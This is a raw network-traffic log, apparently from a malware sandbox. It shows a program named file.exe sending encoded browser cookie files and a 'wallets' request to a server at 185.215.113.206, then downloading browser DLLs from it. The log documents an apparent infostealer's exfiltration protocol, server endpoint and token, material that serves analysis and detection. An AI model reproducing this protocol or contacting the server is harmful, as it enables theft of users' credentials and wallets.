Nov 17, 2024 12:35:20.509459019 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDHDBKEBGHJJJJKEHD Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JKJDHDBKEBGHJJJJKEHD--
Nov 17, 2024 12:35:21.920238972 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 12:35:22.210899115 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJKEHJJDAAKFHIDAKFH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="file"------FIJKEHJJDAAKFHIDAKFH--
Nov 17, 2024 12:35:22.990221024 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49778	185.215.113.206	80	6664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 12:35:28.746160984 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECF Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 12:35:28.746315002 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 Data Ascii: ------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 17, 2024 12:35:30.153431892 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 12:35:30.644490004 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIDHDAKJDHJKEBFIEH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEHIDHDAKJDHJKEBFIEHContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------JEHIDHDAKJDHJKEBFIEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JEHIDHDAKJDHJKEBFIEHContent-Disposition: form-data; name="file"------JEHIDHDAKJDHJKEBFIEH--
Nov 17, 2024 12:35:31.560420036 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 12:35:32.415967941 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 12:35:32.696377039 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 17, 2024 12:35:32.696435928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 17, 2024 12:35:32.696471930 CET	424	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 17, 2024 12:35:32.696527004 CET	1236	IN	Data Raw: 0f b6 fb 31 54 24 44 81 e1 00 ff 00 00 09 c1 09 cf 89 7c 24 40 80 7c 24 07 00 74 10 8b 5c 24 28 e9 a7 00 00 00 0f 1f 80 00 00 00 00 8b 44 24 08 80 ec 01 8b 5c 24 28 73 46 8b 44 24 0c 2c 01 89 44 24 0c 73 40 8b 44 24 10 2c 01 89 44 24 10 73 3c 8b Data Ascii: 1T$D\|$@\|$t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?D$D$1D$L$D$D$D$D$f.DD$HjD$DPjL$HQPt$@m
Nov 17, 2024 12:35:32.696559906 CET	1236	IN	Data Raw: 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 8b 55 d0 89 10 b9 03 e0 ff ff 3b 55 14 8b 5d d4 77 22 31 ff 8b 45 0c 39 c6 74 3a 52 56 50 e8 20 01 08 00 eb 2d bf ff ff ff ff eb 3a b9 02 e0 ff ff 8b 5d d4 Data Ascii: )M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}
Nov 17, 2024 12:35:32.696611881 CET	24	IN	Data Raw: 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 Data Ascii: jWhjV4
Nov 17, 2024 12:35:32.696640968 CET	1236	IN	Data Raw: c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff Data Ascii: %tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@H
Nov 17, 2024 12:35:32.696690083 CET	1236	IN	Data Raw: 53 ff 75 08 57 e8 97 f7 07 00 83 c4 0c 0f b6 8d f0 fe ff ff 8b b5 ec fe ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f Data Ascii: SuWT>\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]
Nov 17, 2024 12:35:32.696726084 CET	1236	IN	Data Raw: f7 17 66 0f 6f 1d e0 20 08 10 66 0f fe fb f3 0f 5b ff 66 0f 70 e6 f5 66 0f f4 f7 66 0f 70 ef f5 66 0f f4 ec 66 0f 6f e0 66 0f fe 25 d0 20 08 10 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f Data Ascii: fo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`
Nov 17, 2024 12:35:32.696783066 CET	1236	IN	Data Raw: b6 d2 89 55 ec 89 4d c8 31 c9 8a 5d e8 8b 55 e0 89 7d e4 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 89 4d e8 8b 0c 0f 89 4d d4 89 ce 89 c1 d3 e6 09 d6 89 75 e0 8b 45 e8 8b 4d ec 01 c8 83 c0 01 0f b6 c0 8b 4d f0 0f b6 0c 01 00 cb 0f b6 f3 8b 55 f0 0f Data Ascii: UM1]U}f.MMuEMMU2}E0MEEMLEE0}M1MMEUU}47}4E0UMU
Nov 17, 2024 12:35:35.829323053 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 12:35:36.109951019 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 17, 2024 12:35:37.794363976 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 12:35:38.076852083 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 17, 2024 12:35:38.949228048 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 12:35:39.229862928 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 17, 2024 12:35:41.157915115 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 12:35:41.438651085 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 17, 2024 12:35:41.722711086 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 12:35:42.004270077 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 17, 2024 12:35:42.729424953 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAA Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 12:35:43.505433083 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 12:35:43.609237909 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAEHDBAAECBFHJKFCFB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 2d 2d 0d 0a Data Ascii: ------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; 